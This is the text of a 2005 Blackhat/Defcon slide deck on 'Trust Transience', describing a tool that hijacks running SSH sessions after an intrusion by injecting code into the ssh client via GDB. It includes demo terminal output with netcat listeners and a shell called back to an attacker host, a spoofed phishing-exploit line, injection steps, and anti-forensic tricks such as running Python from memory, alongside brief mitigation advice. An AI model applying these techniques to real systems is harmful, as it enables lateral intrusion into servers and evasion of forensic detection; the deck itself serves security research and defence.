Adam Boileau is a deathmetal listening linux hippy from New Zealand. When not furiously playing air-guitar, he works for linux integrator and managed security vendor Asterisk in Auckland, New Zealand. Previous work has placed him in ISP security, network engineering, linux systems programming, corporate whore security consultancy and a brief stint at the helm of a mighty installation of solaris tar. Amongst his preoccupations at the moment are the New Zealand Supercomputer Centre, wardriving-gps-visualization software that works in the southern hemisphere, and spreading debian and python bigotry. Oh, and Adam’s band ‘Orafist’ needs a drummer - must have own kit and transport to New Zealand. Trust Transience: Post Intrusion SSH Hijacking Trust Transience: Post Intrusion SSH Hijacking explores the issues of transient trust relationships between hosts, and how to exploit them. Applying technique from anti-forensics, linux VXers, and some good-ole-fashioned blackhat creativity, a concrete example is presented in the form of a post-intrusion transparent SSH connection hijacker. The presentation covers the theory, a real world demonstration, the implementation of the SSH Hijacker with special reference to defeating forensic analysis, and everything you’ll need to go home and hijack yourself some action. Adam Boileau b l a c k h a t b r ie f in g s Trust Transience: Post Intrusion SSH Hijacking July 2k5 - Blackhat USA 05 & Defcon 0x0D So you're a sneaky Blackhat... digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s The Target Recon _ Mail headers say MUA is PINE _ .sig says Debian Sarge, kernel 2.4.22 _ Web logs show egress HTTPS traffic doesn't go via a proxy (no forwarded-for header) digital self defense The Plan Let's Do It haxor:~$ nc -l -p 1337 admin@box:~$ id uid=1004(admin) gid=1004(admin) groups=1004(admin) admin@box:~$ ps auxw | grep -q pine || echo shit shit admin@box:~$ ls core core admin@box:~$ uname -nsr Linux box 2.6.11 haxor:~$ ./pine0day | spoofmail -f 'Mr. Mbeki' -s 'Opportunity for joo!' admin@target.com digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Things start to unravel admin@box:~$ w USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT admin pts/1 :0 09:28 10.3m 3.1s 0.2s bash admin pts/2 :0 09:31 1.0s 1.4s 0.9s bash admin pts/3 haxor.com 14:03 0.0s 0.3s 0.3s w admin@box:~$ ps x 3132 ? S 0:23 xfwm4 –-daemon –sm-client-id 34235 3590 ? S+ 0:05 xterm -rv 3593 pts/1 Ss+ 0:02 bash 3597 pts/1 S+ 0:12 ssh root@ns1.target.com 9034 ? S+ 0:03 xterm -rv 9036 pts/2 Ss+ 0:02 bash 9154 pts/3 R+ 0:00 ps x +++ATH0 _ Things have gone pear-shaped _ Haven't got root, are about to get busted _ Time to drop carrier and run? _ But that SSH session, oh so close. _ If only there was a way to get to the other end of that SSH... digital self defense There is a way admin@box:~$ :!!!!mafl-load ssh-jack 3597 haxor.com 1338 Connecting to /usr/bin/ssh running as pid 3597... Connected Ferreting out some useful symbols... Located libc symbol 'socket' at 0xb7e19a50 Located libc symbol 'connect' at 0xb7e195c0 Located libc symbol 'select' at 0xb7e12490 Located section '.got' 0x0807eb8c to 0x0807eef4 Located section '.plt' 0x0804aa68 to 0x0804b7d8 Located section '.text' 0x0804b7e0 to 0x08070450 Located section '.rodata' 0x08070480 to 0x0807dd6c Resolved dynamic symbol 'socket' at PLT: 0x0804b6b8 GOT: 0x0807eea8 Resolved dynamic symbol 'select' at PLT: 0x0804ad88 GOT: 0x0807ec5c Resolved dynamic symbol 'connect' at PLT: 0x0804b5f8 GOT: 0x0807ee78 Locating stub injection point... Phase 1: Find magic string in .rodata... 0x0807139c Phase 2: Find where magic string is used... 0x0804d803 Phase 3: Find three jump 0x0804d800 instructions... 0x0804d6d9 0x0804d6e1 0x0804d6e9 haxor:~$ nc -l -p 1338 root@ns1:~# echo pwned! pwned! Intro _ I'm Metlstorm / Adam _ From New Zealand – No, I don't know any hobbits, you sad Tolkien fanboi _ Work for a Linux systems integrator, in the past a corporate whore security consultant, ISP security guy, NOC monkey digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s WTF Just Happened? _ Intrusion – MO: attack servers via the admins – Complexity == insecurity – Things go wrong... – ... you can drop carrier and run... – ... or display adaptability. (You look like you're writing an SSH jacker...) Post Intrusion _ Goals – Priv escalation – Stealth & consolidation – Recon, further penetration – Guerrilla; hit & fade, keep it moving _ Displaying Adaptability – Things don't go according to plan – Adaptability core difference between hackers and [skript|korporate] kiddies (you don't want to end up like Markus Hess) digital self defense Cross Host Privilege Escalation _ Maybe local root is a distraction _ Yes, exploiting local vulnerabilities is easier, we can see stack layout, versions, etc _ But what if there were something even easier? Trust Relationships _ Kicking it old school – rhosts – ports < 1024 == root – exporting / *(rw) _ Gives you that warm apple pie nostalgia feeling _ Can you believe that we even called that hacking? _ Provides instant gratification; no waiting for user interaction (when the postman knew your name, and no one locked their front door) (We're all Unix hippies around here, share the love!) digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Non-Transient Trusts _ Traditional “fixed” trusts (rhosts, ssh trusts) _ Stored authentication credentials _ “One factor” auth _ Authentication based on connection properties (e.g: source IP, port) Transient Trust _ Trust relationships that exist only for a period of time _ Open, post authentication sessions _ Unless you personally auth each packet, any cross- priv-boundary connection has some transient trust digital self defense Exploit Metrics _ Evaluate techniques for exploiting trusts _ Assume that we've just acquired a non-root shell on a client machine _ Metrics: (value 1-10) – Ease – Stealth – When – Feasibility Exploiting Non-Transient Trust _ Pretend to be Client A so the server trusts us Ease: 10 Stealth: 10 When: 10 Feasibility: 2 digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Exploiting (Keylogging) _ During Authentication: – Obtain User A's password _ Later: – Impersonate User A Ease: 7 Stealth: 8 When: 3 Feasibility: 7 Exploiting (MITM) _ During Authentication: – Impersonate Server to Client – Impersonate Client to Server _ Later: – Monitor session – Take over session Ease: 5 Stealth: 4 When: 3 Feasibility: 5 digital self defense Exploiting (TCP Hijack) _ Later: – Predict TCP Sequence numbers – Take over running session Ease: 3 Stealth: 1 When: 7 Feasibility: 2 (Is it just me or does that look like Shimomura?) Exploiting (Application Hijack) _ Later: – Take control of network client application – Sneak down running, authenticated session Ease: 8 Stealth: 8 When: 7 Feasibility: 7 digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Hijack the Application _ Different MO: – attack during peak time, while the users are there – daylight robbery; take their root while they're using it... – ...without them even noticing _ Not really very technically challenging – just creative reapplication of tricks virii, debugging, binary reverse-engineering Technique Comparison _ Transient trusts almost as much fun as the real thing tr u st s k e y - lo g 'n tc p h i - ja ck 'n M IT M tr an si e n t tr u st 0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 feasibility stealthy when ease (Gentlemen, as this graph clearly shows, my m4d t3kneeq is teh b3zt!) digital self defense The SSH 'Jacker _ SSH-Jack: A Python script which gives you a shell at the other end of a running SSH session – How it works – Implementation Details – Anti-forensics – Mitigation – Improvements, Direction Rich Protocols: SSH _ Goal: Hijack session while in active use without detection _ Virtual Channel infrastructure makes it seamless digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s How it Works (I) _ Reuse the features provided by SSH... _ ... for evil _ Glue a socket to a second shell, add an Evil Hax0r, mix well. How it Works (II) _ Using Python and GDB/MI it: – ptrace attaches to the SSH client process digital self defense How it Works (III) – finds the virtual channel setup code – patches it in memory to request a remote shell which talks to a local tcp socket instead of the user How it Works (IV) – alters execution flow to run the VC setup code digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s How it Works (V) – restores original code & state – continues execution as if nothing happened... – ... except that you got pwned. What your mother warned you about _ Hackers are sneaky _ Hackers don't just install LRK4 and BNC any more (at least, the ones you don't catch) _ Good hackers display creativity (as do expensive pentesters... you hope) digital self defense Automated Debugging _ Of course a human with a debugger can do sneaky things _ We want to automate it _ GDB is good, GDB/MI (machine interface) passable _ Python + GDB is a good mix; ubiquitous scripting language, interactive shell, good debugger Automated Debugging (II) _ Goal: sneakiness of a human, speed and portability of a script _ Less like debugging (no symbol information), more like bit of binary analysis mixed with a bit of virus technique digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Details _ SSH-Jack Nitty Gritty – Python GDB/MI – Finding a safe place to stop the program – Deciding where to redirect execution – Generating code to inject – Running it – Restoring everything _ Discussing with specific reference to SSH-Jack, but techniques are general GDB/MI _ GDB is the GNU debugger _ GDB/MI is it's programmatic interface _ Implemented gdbmi.py, python interface to GDB _ Basic functionality only, but usable. e.g: g=gdbmi() g.connect(pid) g.insertBreak(breakpoint) g.waitForBreak() oldeip = g.getRegs()[“eip”] g.setByte(0x0ee7beef, 0x29) digital self defense A Safe Place _ Normally single threaded, use of globals, no locking, so we have to be careful _ Find a safe place to run our code – read the fine source – probably the mainline, as close to normal as possible _ Stop the process _ Locate address of safe place _ Add a breakpoint there, easy! _ Continue execution clientloop.c: 407: ret = select((*maxfdp)+1, *readsetp, *writesetp, NULL, tvp); 408: if(ret > 0) { But where is select()? _ We don't have debug symbols _ No problem, just a few more steps: – Select() is provided by libc... – Ask for the address where the dynamic linker put libc::select() digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s But where is select()? (II) – Find the entry in the ELF Global Offset Table for libc::select()'s address But where is select()? (III) – Find entries in the ELF Procedure Linkage Table for the GOT entry digital self defense But where is select()? (IV) – Find calls to the PLT entry in the code _ In this case, there's only one call to select anyway, so last step not required _ Just a breakpoint in the ELF PLT will do Where we'll do the evil _ Find the virtual channel setup code: – ssh.c,1150: ssh_session2_open() _ Still no debug symbols _ Has unique string: – “dup() in/out/err failed” _ Similar to before: – find unique string in ELF .rodata section – find reference to .rodata entry in .text digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s The Evil Itself _ Evil code will replace first half of VC setup code _ Save regs & flags before execution, restore after _ “Shellcode” to socket(); connect(); _ Put a socket where SSH expects a local filehandle (yay for Unix!) _ Leave register state just so, stack unmangled, so execution continues _ Uses libc calls, not syscalls, for no good reason The Evil Itself (II) _ Why the effort to overwrite half a function? – Avoid runtime, by hand linking with no symbols – SSH uses lots of globals, 'data driven' style using function pointer arrays, horrible to link by hand – Minimal deviation from existing code _ Handcrafting for each SSH binary tedious _ Don't have enough info for a general solution... _ ... until runtime. So we patch one up then. digital self defense Generating the Evil _ Work backwards from unique string _ Learn stack size _ Patch in command line parameters _ Patch stack size, PLT entries for socket() and connect() into code Injecting the Evil _ Backup EIP _ Backup old code _ Evil code takes care of saving and restoring registers/flags _ Overwrite start of function() with evil _ Set breakpoint to catch end of evil digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Running it Saving EIP Saved EIP 0x804ad88 Saving 92 bytes of code that we're about to overwrite at 0x0804d679 Injecting 92 bytes of stub at 0x0804d679 Clearing breakpoint Setting new breakpoint at 0x0804d682 Setting EIP to 0x0804d679 Continuing execution. Waiting for breakpoint... Returned from our stub! Woot! Restoring 92 bytes of old code that we overwrote at 0x0804d679 Clearing break Resetting EIP Finished cleaning up, detaching from process. Smacking it upside the head with a SIGWINCH to wake it up... haxor:$ nc -l -p 1337 luser@pwned:~$ echo woot! woot! _ Clipart dude is playing hunt the Wumpus via SSH _ The Wumpus is still going to kill him Jack yourself? _ Test your plan of attack first – Write your hijack code in C, and compile it into the application – Hook it up to some sekret keystroke, or signal or whatever, so you know that it's possible – Base your 'shellcode' on what the compiler assembled _ Implement hijacking for a binary with debug symbols, much easier digital self defense Jack yourself? (II) _ Build a list of symbols you need to find _ Decide how you're going to find them _ Write cunning code to do so _ Jack your friends for fun and profit _ Optional: package nicely with a spinny-round-o- vision OpenGL GUI for the kiddies and Security Consultants Bits and Pieces _ Think about your SCP-push backups, your CVS, your rsync. SSH gets around. _ Does the jacked connection show up in the list? _ What happens when they log out? _ Should work on any OpenSSH 3.x ish _ Current code known to work on Debian Sarge, RHEL3, RH9 _ SuSE's GCC is nuts. I'm amazed it runs at all. digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Tangent: Anti-forensic Technique _ Moving fast, not stopping to rootkit everything assumes you're taking Precautions _ Go and see the Grugq's talk. Really. It has FISTing. _ A brief summary _ How we apply anti-forensic technique in the SSH-Jacker Anti-Forensic Technique _ No code on disk == no tripwire, no encase – everything in memory only _ Use local tools/interpreters only – all they'll know is that you did something, not what – write your tools on the spot as you need them _ No new network connections for an IDS to spot – reuse your existing connection – hide in plain sight _ Encrypt everything so packet logs are useless digital self defense How we implement AF principles _ Some bits are good already: – We use general purpose tools: _ python _ GDB – SSH is encrypted to start with – We're sneaking down an existing connection How we fail to implement AF _ Some bits not so good – python code lying around on disk for people to read – new connection from the SSH client to us to give us our shell... – ...which is also in the clear _ We need to try harder – SSH port forward incoming shell back down encrypted session digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Loading Python directly into memory _ Compile python bytecode locally, compress it, base64 encode for 7bit cleanliness _ Generate stub that will unpack and run the above _ Send both across your shell $ python -c 'import sys while 1: exec sys.stdin.readline()' _ Run a python interpreter, tell it to read python on stdin, and run it MAFL-Load _ Doesn't sound easy enough? How about a skript? – mafl-load script.py [args] – Does all the previous, in one easy step _ I hack in Screen, which rocks even more – Ctrl-A:!!!!mafl-load ssh-jack pid – Injects output of mafl-load into my remote shell, and runs it. Ahh, the Joy of Unix. _ You can almost forget that you're doing it digital self defense Improvements, Future Direction _ Runtime assembler with Mosdef or similar _ Pure python debugger, remove GDB dependency _ Do it to MSRDP, or Citrix ICA _ All manner of domain-specific sneakiness; a programmatic debugging toolkit is a useful thing to have in your box of tricks Is this Theo de Raadt's Fault? _ Hell no, it's a feature! _ SSH Protocol spec says multiple shells are fine _ Server-to-client shells would be... _ ... except they took care of that _ and unsolicited server-to-client port-forwarding _ Other SSH client/server implementations might be different. _ And anyway, OpenSSH is cool. Props to them. digital self defense b l a c k h a t b r ie f in g s b l a c k h a t b r ie f in g s Mitigation Technique _ Uhh, don't get rooted _ Patch kernel to restrict ptrace() to root _ Ensure that any SSH trusts you do have are restrictive – command=”stuff”,no-port-forwarding,permit- open=”host:port” _ Give debuggers the whole Steve Gibson Raw- Sockets-Are-Evil treatment! Why You Should(n't) Care _ Nothing you didn't - even if you repressed it - already know _ If you get rooted, you're screwed. But you knew that. _ Rich desktops make attacking admins to get to servers a good route _ This technique is useful against any client, but protocols with VC arch are the best – MSRDP, Citrix ICA... digital self defense Hackers Made Me Do It _ Ruxcon (Sydney) 2k3 and 4 inspiration – Grugq: antiforensic shaolin master – Shaun Clowes: the holy-crap-wtf-insane Shiva ELF encryptor – Silvio Cesare: linux vx godfather _ Mad greetz to: – NZISIG, NZ2600, SLi, and the rest of what passes for a Scene in NZ. – Gnuspice for giving me a copy of Cheswick and Bellovin many years ago. Q&A _ Shred me and my lameitude Spam me _ metlstorm@storm.net.nz digital self defense b l a c k h a t b r ie f in g s